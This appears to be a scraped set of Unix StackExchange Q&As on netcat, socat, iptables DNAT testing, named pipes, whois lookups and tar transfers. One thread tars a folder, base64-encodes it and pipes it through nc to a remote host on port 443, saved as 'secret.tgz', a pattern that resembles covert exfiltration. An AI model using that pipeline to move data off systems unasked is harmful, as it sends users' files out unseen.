# Generated by iptables-save v1.4.21
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -d 192.168.0.1/32 -j DNAT --to-destination 192.168.0.2
COMMIT
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
To reiterate, all I want to do is send some data to the 192.168.0.1 address and have it arrive at the 192.168.0.2 address.
It's probably worth mentioning that the 192.168.0.0/24 subnetwork is unused on my VM. First I add a couple of dummy interfaces:
sudo ip link add dummy1 type dummy
sudo ip link add dummy2 type dummy
Next I assign assign the IP addresses to the dummy interfaces on the desired subnetwork range:
sudo ip addr add 192.168.0.1/24 dev dummy1
sudo ip addr add 192.168.0.2/24 dev dummy2
And then I bring the interfaces up:
sudo ip link set dummy1 up
sudo ip link set dummy2 up
Here is what my routing table looks like now:
default via 10.0.2.2 dev eth0
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15
192.168.0.0/24 dev dummy1 proto kernel scope link src 192.168.0.1
192.168.0.0/24 dev dummy2 proto kernel scope link src 192.168.0.2
192.168.56.0/24 dev eth1 proto kernel scope link src 192.168.56.100
Now I listen at the first (source) address using netcat:
nc -l -p 1234 -s 192.168.0.1
And I connect to the netcat server with a netcat client (in a separate terminal window):
nc 192.168.0.1 1234
Text entered in one window appears in the other - just as expected.
I do the same thing with the second address as well:
nc -l -p 1234 -s 192.168.0.2
nc 192.168.0.2 1234
Again, text entered in one window appears in the other - as expected.
Finally, I try to listen on the target (DNAT) address and connect via the source (DNAT) address:
nc -l -p 1234 -s 192.168.0.2
nc 192.168.0.1 1234
Unfortunately the connection fails with the following error:
(UNKNOWN) [192.168.0.1] 1234 (?) : Connection refused
I also tried using ping -c 1 -R 192.168.0.1 to see if the DNAT was taking effect, but it does not look like that's the case:
PING 192.168.0.1 (192.168.0.1) 56(124) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.047 ms
RR: 192.168.0.1
192.168.0.1
192.168.0.1
192.168.0.1
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.047/0.047/0.047/0.000 ms
Why isn't this working? What am I doing wrong?
Diagnosis with tcpdump
To diagnose this issue, I tried using tcpdump to listen for traffic on the dummy interfaces. I tried listening to all interfaces (and filtering out SSH and DNS):.
sudo tcpdump -i any -e port not 22 and port not 53
Then I pinged the dummy1 interface:
ping -n -c 1 -I dummy1 192.168.0.1
This yielded the following results:
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
In 00:00:00:00:00:00 (oui Ethernet) ethertype IPv4 (0x0800), length 100: 192.168.0.1 > 192.168.0.1: ICMP echo request, id 8071, seq 1, length 64
In 00:00:00:00:00:00 (oui Ethernet) ethertype IPv4 (0x0800), length 100: 192.168.0.1 > 192.168.0.1: ICMP echo reply, id 8071, seq 1, length 64
So it looks like the dummy interfaces are attached to the loopback interface. This might mean that the iptables rules are being totally circumvented.
Virtual interfaces and the PREROUTING chain
As a second attempt, I tried using so-called virtual IP addresses instead of dummy interfaces.
Here is how I added the "virtual" IP addresses to the eth0 and eth1 interfaces:
sudo ip addr add 192.168.0.100/24 dev eth0
sudo ip addr add 192.168.0.101/24 dev eth1
NOTE: I used different IP addresses for these than I did for the dummy interface.
Then I flushed and updated the iptables NAT rules:
sudo iptables -F -t nat
sudo iptables \
-t nat \
-A PREROUTING \
-d 192.168.0.100 \
-j DNAT --to-destination 192.168.0.101
The I retried the ping test:
ping -n -c 1 -R 192.168.0.100
No dice:
PING 192.168.0.100 (192.168.0.100) 56(124) bytes of data.
64 bytes from 192.168.0.100: icmp_seq=1 ttl=64 time=0.023 ms
RR: 192.168.0.100
192.168.0.100
192.168.0.100
192.168.0.100
--- 192.168.0.100 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms
Then the netcat test again. Start the server:
nc -l -p 1234 -s 192.168.0.101
Try to connect the client:
nc 192.168.0.100 1234
Also no dice:
(UNKNOWN) [192.168.0.100] 1234 (?) : Connection refused
Using the OUTPUT chain instead of PREROUTING
Then I tried moving both DNAT rules from the PREROUTING chain to the OUTPUT chain:
sudo iptables -F -t nat
sudo iptables \
-t nat \
-A OUTPUT \
-d 192.168.0.1 \
-j DNAT --to-destination 192.168.0.2
sudo iptables \
-t nat \
-A OUTPUT \
-d 192.168.0.100 \
-j DNAT --to-destination 192.168.0.101
Now I try ping on both the dummy and virtual interfaces:
user@host:~$ ping -c 1 -R 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(124) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.061 ms
RR: 192.168.0.1
192.168.0.2
192.168.0.2
192.168.0.1
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.061/0.061/0.061/0.000 ms
user@host:~$ ping -c 1 -R 192.168.0.100
PING 192.168.0.100 (192.168.0.100) 56(124) bytes of data.
64 bytes from 192.168.0.100: icmp_seq=1 ttl=64 time=0.058 ms
RR: 192.168.0.100
192.168.0.101
192.168.0.101
192.168.0.100
--- 192.168.0.100 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.058/0.058/0.058/0.000 ms
And I also try the netcat client-server test for each pair of IP addresses:
nc -l -p 1234 -s 192.168.0.2
nc 192.168.0.1 1234
and:
nc -l -p 1234 -s 192.168.0.101
nc 192.168.0.100 1234
This test succeeds as well.
So it looks like both the dummy and virtual interfaces work when the DNAT rule is in the OUTPUT chain instead of the PREROUTING chain.
It seems that part of my problem is that I'm unclear on which packets traverse which chains.
|
Short Explanation: The dummy interfaces and virtual IP addresses send packets through the loopback interface, which isn't affected by the PREROUTING chain. By using network namespaces with veth interfaces we can send traffic from one IP address to another in a way that more accurately models multi-host network traffic and allows us to test the DNAT rule on the PREROUTING chain, as desired.
A more detailed description of the solution follows.
Here is a Bash script that configures a pair of network interfaces and tests that the DNAT rule is functioning as expected:
# Create a network namespace to represent a client
sudo ip netns add 'client'
# Create a network namespace to represent a server
sudo ip netns add 'server'
# Create a veth virtual-interface pair
sudo ip link add 'client-eth0' type veth peer name 'server-eth0'
# Assign the interfaces to the namespaces
sudo ip link set 'client-eth0' netns 'client'
sudo ip link set 'server-eth0' netns 'server'
# Change the names of the interfaces (I prefer to use standard interface names)
sudo ip netns exec 'client' ip link set 'client-eth0' name 'eth0'
sudo ip netns exec 'server' ip link set 'server-eth0' name 'eth0'
# Assign an address to each interface
sudo ip netns exec 'client' ip addr add 192.168.1.1/24 dev eth0
sudo ip netns exec 'server' ip addr add 192.168.2.1/24 dev eth0
# Bring up the interfaces (the veth interfaces the loopback interfaces)
sudo ip netns exec 'client' ip link set 'lo' up
sudo ip netns exec 'client' ip link set 'eth0' up
sudo ip netns exec 'server' ip link set 'lo' up
sudo ip netns exec 'server' ip link set 'eth0' up
# Configure routes
sudo ip netns exec 'client' ip route add default via 192.168.1.1 dev eth0
sudo ip netns exec 'server' ip route add default via 192.168.2.1 dev eth0
# Test the connection (in both directions)
sudo ip netns exec 'client' ping -c 1 192.168.2.1
sudo ip netns exec 'server' ping -c 1 192.168.1.1
# Add a DNAT rule to the server namespace
sudo ip netns exec 'server' \
iptables \
-t nat \
-A PREROUTING \
-d 192.168.2.1 \
-j DNAT --to-destination 192.168.2.2
# Add a dummy interface to the server (we need a target for the destination address)
sudo ip netns exec 'server' ip link add dummy type dummy
sudo ip netns exec 'server' ip addr add 192.168.2.2/24 dev dummy
sudo ip netns exec 'server' ip link set 'dummy' up
# Test the DNAT rule using ping
sudo ip netns exec 'client' ping -c 1 -R 192.168.2.1
The output of the ping test shows that the rule is working:
PING 192.168.2.1 (192.168.2.1) 56(124) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=0.025 ms
RR: 192.168.1.1
192.168.2.2
192.168.2.2
192.168.1.1
--- 192.168.2.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.025/0.025/0.025/0.000 ms
Now I can also perform my NetCat test. First I listen on the server:
sudo ip netns exec 'server' nc -l -p 1234 -s 192.168.2.2
And then I connect via the client (in a separate terminal window):
sudo ip netns exec 'client' nc 192.168.2.1 1234
Text entered in one terminal window appears in the other - success!
| Testing iptables DNAT Rule Locally Using NetCat |
1,495,187,909,000 |
I have a local network (doesn't really matter if it's VPN or real local network - I've tried both).
One computer running Linux Mint opens a socket with
mint$ nc -l 4242
And the second one running OpenSUSE can connect and send messages to the socket:
suse$ nc 10.8.0.10 4242
But if I try to open a socket on Suse and connect from Mint - the connection won't establish. I don't have ufw firewall installed on Suse at all.
I tried to send TCP packets from Mint to a Windows PC and it worked well, so I guess, that the problem is in Suse machine.
I have also tried picking higher port numbers (55555 for example) just in case but with no luck.
iptables -L -v on Suse:
Chain INPUT (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
272 23240 ACCEPT all -- lo any anywhere anywhere
28 5183 ACCEPT all -- any any anywhere anywhere ctstate ESTABLISHED
0 0 ACCEPT icmp -- any any anywhere anywhere ctstate RELATED
15 4984 input_ext all -- any any anywhere anywhere
0 0 LOG all -- any any anywhere anywhere limit: avg 3/min burst 5 LOG level warning tcp-options ip-options prefix "SFW2-IN-ILL-TARGET "
0 0 DROP all -- any any anywhere anywhere
Chain FORWARD (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 LOG all -- any any anywhere anywhere limit: avg 3/min burst 5 LOG level warning tcp-options ip-options prefix "SFW2-FWD-ILL-ROUTING "
Chain OUTPUT (policy ACCEPT 47 packets, 7142 bytes)
pkts bytes target prot opt in out source destination
272 23240 ACCEPT all -- any lo anywhere anywhere
Chain forward_ext (0 references)
pkts bytes target prot opt in out source destination
Chain input_ext (1 references)
pkts bytes target prot opt in out source destination
2 1956 DROP all -- any any anywhere anywhere PKTTYPE = broadcast
0 0 ACCEPT icmp -- any any anywhere anywhere icmp source-quench
0 0 ACCEPT icmp -- any any anywhere anywhere icmp echo-request
13 3028 DROP all -- any any anywhere anywhere PKTTYPE = multicast
0 0 DROP all -- any any anywhere anywhere PKTTYPE = broadcast
0 0 LOG tcp -- any any anywhere anywhere limit: avg 3/min burst 5 tcp flags:FIN,SYN,RST,ACK/SYN LOG level warning tcp-options ip-options prefix "SFW2-INext-DROP-DEFLT "
0 0 LOG icmp -- any any anywhere anywhere limit: avg 3/min burst 5 LOG level warning tcp-options ip-options prefix "SFW2-INext-DROP-DEFLT "
0 0 LOG udp -- any any anywhere anywhere limit: avg 3/min burst 5 ctstate NEW LOG level warning tcp-options ip-options prefix "SFW2-INext-DROP-DEFLT "
0 0 DROP all -- any any anywhere anywhere
Chain reject_func (0 references)
pkts bytes target prot opt in out source destination
0 0 REJECT tcp -- any any anywhere anywhere reject-with tcp-reset
0 0 REJECT udp -- any any anywhere anywhere reject-with icmp-port-unreachable
0 0 REJECT all -- any any anywhere anywhere reject-with icmp-proto-unreachable
What can cause this issue?
|
use this command:
sudo iptables -I INPUT -p tcp --dport 4242 -j ACCEPT
the last line of your suse INPUT chain is:
0 0 DROP all -- any any anywhere anywhere
that means DROP all INPUT packet, with this command
sudo iptables -I INPUT -p tcp --dport 4242 -j ACCEPT
we Insert new rule for accept input packet top and before run DROP rule
and this rule not work for new connection :
ACCEPT all -- any any anywhere anywhere ctstate ESTABLISHED
because that stats is ESTABLISHED to this mean:
RELATED - The connection is new, but is related to another connection
already permitted. ESTABLISHED - The connection is already
established.
| TCP: One PC can connect to other's listening port but not vice versa |
1,495,187,909,000 |
I want to use netcat as a TCP-server that reads data from a named pipe. For that I did the following:
Step 1. Created a pipe and the server that uses it as a source
mkfifo /tmp/all.pipe
nc -k -l 8080 < /tmp/all.pipe
Step 2. Created a client that reads the data continuously:
while true; do
sleep 1;
echo "Check connection";
while IFS= read -r line; do
printf "$line";
done < /dev/tcp/localhost/8080;
done
Step 3. Write some data to the pipe:
echo "hello" > /tmp/all.pipe
After execution of these 3 steps the output on the client side was:
...
bash: connect: Connection refused
bash: /dev/tcp/localhost/8080: Connection refused
Check connection
bash: connect: Connection refused
bash: /dev/tcp/localhost/8080: Connection refused
Check connection
hello
However when I executed the step 3 after this again, the output didn't change. Looks like it happened because the connection was still active, but the new data wasn't passed from the pipe to the nc and then to the client. Why? What can be done to achieve it?
|
Upon:
nc -k -l 8080 < /tmp/all.pipe
The shell tries to open /tmp/all.pipe and that hangs as there's no process that has opened the named pipe for writing yet.
Since nc has not been started yet, that explains why bash gets a connection refused when trying to connect there.
When you do
echo "hello" > /tmp/all.pipe
Then that's when the first command is unlocked. The pipe is now instantiated.
Then echo writes hello\n there and terminates, at which point the writing end of the pipe is closed, and nc will see end-of-file on its stdin. If you had used cat instead of nc, cat would have terminated.
But for nc, its stdout still goes to the terminal at that point and the TCP connection is still live so even if there's one end that has reached end-of-input, it carries on. If bash sent something on that socket, that would be displayed on nc's stdout for instance.
When you do a second echo something > /tmp/all.pipe, as nc has not closed its fd on the pipe (at least that's the case of the nc from the netcat-openbsd package on Ubuntu, YMMV), that does go through that same pipe that goes live again, but nc has already given up reading from that since it had reached eof earlier.
Easiest here is probably to open the pipe for nc's input in read+write mode so it's instantiated immediately and always live as long as nc lives.
For that, just replace < with <> on the nc command line:
nc -k -l 8080 <> /tmp/all.pipe
Also note that the first argument to printf is the format, you shouldn't have any variable there. If you want to print the input line without the line delimiter, you use:
printf %s "$line"
| Usage of named pipe as data source for netcat |
1,495,187,909,000 |
Scenario
Whenever the netcat server receives a connection, I want it to sleep for 2s before returning a HTTP response.
I know we can turn netcat into a simple HTTP server by something like nc -lp 3000 < httprespose.
Question
How do I simulate the 2s delay?
|
I know a way with socat:
socat TCP-LISTEN:3000,fork SYSTEM:'sleep 2; cat httprespose',pty,echo=0
Roughly based on my another answer.
| How to setup simple netcat server which sleeps before it returns a HTTP response |
1,495,187,909,000 |
I'm trying to use socat on two systems in order to send a multivolume tar from one system to the other. Multivolume is an absolute requirement as I'm trying to shift potentially petabytes of data to a mounted tape archive.
Ultimately, I'm want to do something like this:
# on system1:
socat PIPE:/tmp/pipe1 SYSTEM:"ssh system2 socat - PIPE\:/tmp/pipe2" &
tar -M -L 10G -F /tmp/chvol -cvf /tmp/pipe1 <source-path> &
# on system2:
cat /tmp/pipe2 > file001.tar
cat /tmp/pipe2 > file002.tar
...
(The chvol script just echos the path /tmp/pipe1.)
As I've not been able to get this working yet, I'm running the following much-simplified test on one single system:
socat PIPE:/tmp/pipe1 PIPE:/tmp/pipe2 &
sh -c 'while sleep 1; do echo "sending date ..."; date > /tmp/pipe1; done' &
sh -c 'while sleep 1; do echo "slurping ..."; cat < /tmp/pipe2; done' &
which is meant to simulate a writer process repeatedly opening, writing, closing and a reader process repeatedly opening, reading until EOF, closing.
But this doesn't behave as I expected: the writer is seemingly happy, but the reader reads all the accumulated text in one go and thereafter remains blocked in a cat < ... call.
Can anybody explain (1) what is actually happening in the much-simplified test and (2) what I should be doing instead?
I have tried various shut-* options on both pipes (on the assumption that the problem is in the propogation of EOF) and done a lot of googling.
|
Your problem is that you have not specified you want unidirectional pipes. The socat man page explains how in this case PIPE: is like an echo.
What probably happened is that when you first wrote the date into the fifo 1, your socat read it, wrote it to fifo 2, then noticed there was input on fifo 2 so read it and wrote it to fifo 1, and so on busy looping until the first cat on fifo 2 managed to empty it before socat read it. Thereafter this first cat will continue reading the fifo, never seeing an end-of-file, and you can continue writing the date into the fifo.
You can see this if you add the -v option to socat to show the i/o.
Adding -u for unidirectional i/o makes it what you probably wanted, but now the socat will exit after the date is written and read, so you will need a loop for it:
while socat -v -u PIPE:/tmp/pipe1 PIPE:/tmp/pipe2; do echo new; done &
With your tar version you could put the socat command inside the /tmp/chvol script instead.
If you have a real tape drive, you might also look at a solution using nbd-server to export a block device over the network.
| socat pipe to pipe for multiple open-write-close and open-read-close operations |
1,495,187,909,000 |
When I query a whois server with something like google.com, I get a whole slew of unrelated results, including things like GOOGLE.COM.SPAMMING.IS.UNETHICAL.PLEASE.STOP.THEM.HUAXUEERBAN.COM. Here I'm doing it manually with netcat, but you get similar results using whois:
$ echo google.com | nc whois.internic.net 43
Whois Server Version 2.0
Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
Aborting search 50 records found .....
GOOGLE.COM.AFRICANBATS.ORG
GOOGLE.COM.ANGRYPIRATES.COM
GOOGLE.COM.AR
GOOGLE.COM.AU
GOOGLE.COM.BAISAD.COM
GOOGLE.COM.BEYONDWHOIS.COM
GOOGLE.COM.BR
GOOGLE.COM.CN
GOOGLE.COM.CO
GOOGLE.COM.DO
GOOGLE.COM.FORSALE
GOOGLE.COM.HACKED.BY.JAPTRON.ES
GOOGLE.COM.HANNAHJESSICA.COM
GOOGLE.COM.HAS.LESS.FREE.PORN.IN.ITS.SEARCH.ENGINE.THAN.SECZY.COM
GOOGLE.COM.HK
GOOGLE.COM.HOUDA.DO.YOU.WANT.TO.MARRY.ME.JEN.RE
GOOGLE.COM.IS.APPROVED.BY.NUMEA.COM
GOOGLE.COM.IS.NOT.HOSTED.BY.ACTIVEDOMAINDNS.NET
GOOGLE.COM.LASERPIPE.COM.DOMAINPENDINGDELETE.COM
GOOGLE.COM.LOLOLOLOLOL.SHTHEAD.COM
GOOGLE.COM.MX
GOOGLE.COM.MY
GOOGLE.COM.NS1.CHALESHGAR.COM
GOOGLE.COM.NS2.CHALESHGAR.COM
GOOGLE.COM.PE
GOOGLE.COM.PK
GOOGLE.COM.SA
GOOGLE.COM.SHQIPERIA.COM
GOOGLE.COM.SOUTHBEACHNEEDLEARTISTRY.COM
GOOGLE.COM.SPAMMING.IS.UNETHICAL.PLEASE.STOP.THEM.HUAXUEERBAN.COM
GOOGLE.COM.SPROSIUYANDEKSA.RU
GOOGLE.COM.SUCKS.FIND.CRACKZ.WITH.SEARCH.GULLI.COM
GOOGLE.COM.TESTZZZZ.3000-RI.COM
GOOGLE.COM.TR
GOOGLE.COM.TW
GOOGLE.COM.UA
GOOGLE.COM.UK
GOOGLE.COM.UY
GOOGLE.COM.VABDAYOFF.COM
GOOGLE.COM.VN
GOOGLE.COM.WORDT.DOOR.VEEL.WHTERS.GEBRUIKT.SERVERTJE.NET
GOOGLE.COM.YUCEHOCA.COM
GOOGLE.COM.YUCEKIRBAC.COM
GOOGLE.COM.ZNAET.PRODOMEN.COM
GOOGLE.COM.ZZZZZ.GET.LAID.AT.WWW.SWINGINGCOMMUNITY.COM
GOOGLE.COM.ZZZZZZZZZZZZZ.GET.ONE.MILLION.DOLLARS.AT.WWW.UNIMUNDI.COM
GOOGLE.COM.ZZZZZZZZZZZZZZZZZZZZ.LOLLERSKATES.RENDRAG.NET
GOOGLE.COM.ZZZZZZZZZZZZZZZZZZZZZZZZZZ.HAVENDATA.COM
GOOGLE.COMICTOWEL.COM
GOOGLE.COM
How do I only get the whois data for the exact domain google.com?
|
I found it, but the solution may vary from whois server to whois server.
For whois.internic.net, use the keyword domain in your query:
Often, the search finds more records than just the one wanted. Specify
both type and full name to look up a specific record (for example,
domain ibm.com).
So, either of these commands should work:
$ echo "domain google.com" | nc whois.internic.net 43
$ whois "domain google.com" -h whois.internic.net
If that command does not work, query the whois server with either ? or HELP in order to get details about the allowed commands:
$ echo "?" | nc whois.internic.net 43
| How do I only get whois data for an exact domain? |
1,495,187,909,000 |
I'm working on a set of scripts to monitor some external services that log to a TCP port.
function handleMessage {
while read message
do
# Handle $message
done
}
nc -d $ipadd $port | handleMessage
This code works fine when log messages are delimited by new lines like the following
Service started
ERROR: Something terrible happened
Service stopped
But one of the services delimits messages using LOGXXXX and allows new lines within messages so it's output looks more like this:
LOG0001 Service startedLOG0002 ERROR: Something terrible happened
NullPointerException at SomeMethod (File1.java)
SomeOtherMethod (File2.java)LOG0003 Service stopped
Using my code above handleMessage is called for each of the lines instead of for each set of LOGXXXX segments and if time passes with no messages containing newlines my script gets very far behind in handling messages.
Is there an option on nc or another program I can use to read from this TCP port and break on a custom delimiter, or some option to have a bash function handle each write to stdout instead of only being called for each line?
|
The problem here is in your while read message line. read by default terminates on a newline, but you can pass it another character with the -d option.
The question to ask is in your LOGXXXX lines, how does the script know when the entry is finished? If you can put a special character at the end then you can use read -d. Otherwise, you could replace the newlines with something else and then put them back after.
So in your example:
function handleMessage {
while read message
realmessage=`echo $message | tr '|' '\n'`
do
# Handle $realmessage
done
}
nc -d $ipadd $port | tr '\n' '|' | handleMessage
So you're replacing all the newlines with a | so that it'll all get in the read call, and then you split it out after.
| Log from TCP Port breaking messages on characters other than newline |
1,495,187,909,000 |
I want to copy a Windows 7 partition that came installed on my laptop to my desktop computer.
I've tried:
# bzip2 -c /dev/sda5 | nc 192.168.1.1 2222 # on laptop
# nc -l 2222 | bzip2 -d > /dev/sda1 # on desktop
But gparted tells me the partition is corrupted with a lot of error messages.
I also tried:
# dd if=/dev/sda1 | gzip -1 - | ssh user@hostname dd of=image.gz # on laptop
# dd if=image.gz | gunzip -1 - | dd of=/dev/sda5 # on desktop
It worked for a small partition (35 Mb), but didn't for larger ones (18Gb and 120Gb). The ssh pipe keeps breaking and one attempt that completed gave errors in gparted.
What would be a better way of copying the partitions?
|
I finally copied using a tar pipe.
# cd /mnt/sda1/ && tar cf - * | nc 192.168.1.1 2222 # on laptop
# cd /mnt/sda5/ && nc -l 2222 | tar x # on desktop
Copying was way faster and seemed to work.
I wasn't able to boot in Windows 7 thought. I only saw a black screen when booting in it and the recovery partition freezes at Starting Windows.
I think that you need two licences to use Windows 7 on two computer so I don't think it would have worked.
| How to copy a partition over network |
1,495,187,909,000 |
Context :
I want to test UDP port with nc command
What happens :
nc command return nothing on output and 0 when i put echo $?
Which command :
nc -vzu <ip> <port>
echo $?
What is the problem :
I would like to know if i can trust the result of echo $?
Version :
netcat : 0.7.1-5.ph3.x86_64 (on vCenter).
tcpdump-uw : version 4.9.1-PRE-GIT_2017_09_22
My thought :
I know that UDP doesn't verify the packets.
I have tried echo "something" | nc -vu <ip> <port> and tcpdump -i vmk0 -en udp on destination server but i received nothing.
I think UDP packets is send successfully but it never reach the destination.
What do you think ?
|
Different nc versions or implementations might display different behaviors. You will need to test the specific behavior of your specific nc command in order to understand it and determine if you can trust the results.
For instance, with my nc version, when I try to connect to some open UDP port, it writes:
$ nc -vzu <ip> <port>; echo exit status is: $?
Connection to <ip> <port> port [udp/*] succeeded!
exit status is: 0
And returns an exit status of 0.
But when I try to connect to a port that nothing listens to, it just returns exit status of 1.
$ nc -vzu <ip> <port>; echo exit status is: $?
exit status is: 1
In order to determine if you can trust the exit status of your specific nc command, try to connect to a closed UDP port. Please notice that valid UDP ports are at the range of 4096-65535.
In your case, as you've reported, when you tried to connect a closed UDP port in the valid range, your nc command returned an exit status of 0 (success), which means that you cannot trust the exit status of your specific version/implementation of nc.
| Can i trust echo result of nc command for UDP? |
1,495,187,909,000 |
Can sombody explain why this happening and how to fix it so that the data sent to stdin behaves the same way as the data typed in to stdin.
For those who can't see the .gif
Basically i have 3 terminals setup. One is running a netcat server which is the following command.
nc -l 127.0.0.1 4000
Terminal 2 is just running a netcat client which is the following command.
nc 127.0.0.1 4000
When typing into the client which basically means inputting data to stdin or file descriptor 0 of that program. The data shows up on the server once the enter key has been hit. This is expected behavior.
One would expect that if you input data to stdin from another source than the keyboard it would work the same as long as you provide a newline at the end or even a newline and a carriage return.
Though this is not the case when running terminal 3 which has the following command.
echo "test\n" > /proc/$pid/fd/0
Oddly enough the data from echo even shows up in terminal 2 but it does not get treated as keyboard input and thus no message is sent from the clinet on terminal 2 to the server on terminal 1.
This i conclude is bullshit.
|
If you look at the /proc/$PID/fd/0 link, you'll see it points to the terminal:
# ls -l /proc/11962/fd/0
lrwx------ 1 foo users 64 Aug 15 04:30 /proc/11962/fd/0 -> /dev/pts/15
When you output to it, you're not passing input to the nc process, you're outputting to the terminal. Which duly prints what you output.
It looks like this:
/proc/$PID/fd/$N <-------> [ ]
[ terminal ]
[ nc ] <--------------------> [ ]
Not like this:
/proc/$PID/fd/$N
| |
[ ] <-----+ +------> [ ]
[ nc ] <--------------------> [ terminal ]
If file descriptor 0 of the process was opened to a file, would you still expect a write to /proc/$PID/fd/0 to show as input to the process, or to go the opened file?
lrwx------ 1 foo users 64 Aug 15 04:36 /proc/11994/fd/0 -> /tmp/testfile
What should echo foo > /proc/11994/fd/0 do in this case?
It's the same here. When the process reads from the fd, it reads data from the file. But when you reopen the same file for writing through /proc/$PID/fd/$N, you write to the file.
You'll need to use the TIOCSTI ioctl or some similar mechanism to stuff data into the input buffer of the terminal. See tty_ioctl(4)
| Proc stdin weird behaviour |
1,495,187,909,000 |
I am working on a process to send data via a pipe from one server to another for processing.
Although this is not the exact command, it might look something like this:
tail -f logfile | grep "abc" | grep "def" | grep -v "ghi" | netcat -q 0 n.n.n.n 7777
I would like to wrap all those greps into a script and more importantly prepend the pipe to netcat with an identifier, so the command would look like this:
tail -f logfile | myscript.sh {id}
The script listening on the other end should receive:
{id}
[Line 1 of the logfile]
[Line 2 of the logfile]
...
Wrapping it in a script is easy:
#!/bin/sh
id=$1
grep "abc" | grep "def" | grep -v "ghi" | netcat -q 0 n.n.n.n 7777
but I cannot figure out how to inject $id at the start.
The receiving end is using
socat -u tcp-l:7777,fork system:/dev/receivePipe
so if there is a different way I could get the id (for example somehow as a parameter to /dev/receivePipe), or via an environment variable, that would work too.
EDIT: The final answer was figured out in the comments of the accepted answer:
#!/bin/sh
{
printf '%s\n' $1
grep "abc" | grep "def" | grep -v "ghi"
} | netcat -q 0 192.168.56.105 7777
|
Just do:
#! /bin/sh -
{
printf '%s\n' "${1-default-id}"
awk '/abc/ && /def/ && ! /ghi/'
} | socat - tcp:n.n.n.n:7777
${1-default-id} expands to the first positional parameter if specified or default-id otherwise. Replace with ${1?} to exit with an error if not passed any argument instead (or ${1?The error message} to specify an error message instead of the default).
We redirect the output of a command group that runs printf to output the ID and the filtering commands (here with your grep pipeline replaced with a single awk invocation that does the same thing a bit less clumsily) to socat/netcat.
Or to only print the ID if and when one line has been read and matches:
#! /bin/sh -
ID=${1-default-id} awk '
/abc/ && /def/ && ! /ghi/ {
if (!already_printed++) print ENVIRON["ID"]
print
}' | socat - tcp:n.n.n.n:7777
Or to prepend the ID (and a space character) to every line:
#! /bin/sh -
ID=${1-default-id} awk '
/abc/ && /def/ && ! /ghi/ {
print ENVIRON["ID"], $0
}' | socat - tcp:n.n.n.n:7777
Beware awk, like grep will buffer their output when it goes to a pipe (to anything other than a tty device). With the GNU implementation of awk (aka gawk), you can add a call to fflush() after each print to force the flushing of that buffer. See also the -Winteractive of mawk. In most awk implementations, doing a system("") would also force a flush. The GNU implementation of grep has a --line-buffered option to force a flush after each line of output.
Also note that tail -f logfile is short for tail -n 10 -f logfile. Chances are you actually want either tail -n +1 -f logfile for the whole log file to be processed, and then tail carrying on following the file, or tail -n 0 -f logfile to process only the lines being added from now on.
| How do I inject a header line into a pipe via a shell script? |
1,555,301,253,000 |
I am trying to compress a folder, encode to base64 and send it over the fly , but I am getting a error
tar: Cowardly refusing to create an empty archive
tar -czf Pictures | base64 | nc remote_host 443
nc -lvp 443 | base64 -d > secret.tgz # remote host
how can I compres my folder and send it over the fly correctly?
|
The command is giving an error of "empty" archive because your are not passing it anything to tar for compressing.
When using -f what comes after should be the name of the archive to create and only then archives to compress (on your case, a directory).
For sending it to stdout to feed it to pipe, you should use the dummy option/shortcut "-"
As in:
tar -czf - Pictures | base64 | nc remote_host 443
As also @muru correctly points out, tar output to stdout by default, so another option if taking out the "-f".
tar -cz Pictures | base64 | nc remote_host 443
nc also in theory is also well capable of handling binary files when not sending them to the console, you can do without the extra step of base64 enconding and decoding. I certainly did it thousands of times without using base64.
I would also prefer using the nc without -v for scripting in the remote side as in:
tar -czf - Pictures | nc remote_host 443
nc -lp 443 > secret.tgz # remote host
| compressing a folder tgz , encode to base64 and send over the fly |
1,555,301,253,000 |
Say I have an http or tcp server running, which serves tarballs (.tgz files).
Is there some way I can receive files individually so I can do something like this:
nc localhost 5000 | how can I read multiple files here and save each to disk?
to explain further, when I connect to the server, I'd like it to respond with a series of .tgz files. My question is, if it's a tcp server, how can I write each file so that it comes in separately.
The only thing I would know how to do would be to stream the data to a single file, but I don't know how to write out multiple files.
This is potentially an answer: https://stackoverflow.com/a/44894223/1223975
But I don't understand how to write each file out individually.
|
On the server, do:
tar c file1 file2 dir1 file3 ... | nc -l 5000
Then, on the client, do:
nc server 5000 | tar x
Or, slower, but more secure:
ssh server tar c file1 file2 dir1 file3 ... | tar x
For example:
$ ssh localhost 'cd /etc; tar c passwd nsswitch.conf' | (d=$(mktemp -d); tar xv -C "$d"; ls -l "$d"; rm -r "$d")
passwd
nsswitch.conf
total 8
-rw-r--r-- 1 muru muru 529 Feb 16 2017 nsswitch.conf
-rw-r--r-- 1 muru muru 2631 Apr 24 18:18 passwd
| connect to server with netcat and receive *multiple* files with one request/connection |
1,555,301,253,000 |
I just noticed that my server is being blocked for rsync from a firewall outside of my server, so I can't rsync to any target. Now, I would also like to know what are all the ports that are being blocked by that firewall.
Is there any way to use nmap to do that? I know I can use nmap to scan the opened ports in a specific target, but what I want is to know what ports are closed in my server to send packets out.
|
No, you can not nmap to scan one computer from the same computer.
By definition, packets won't travel, and packets traveling is the whole base of the internet.
You need a router, printer, light-bulb or external computer that could run some commands and use it to look back to that computer.
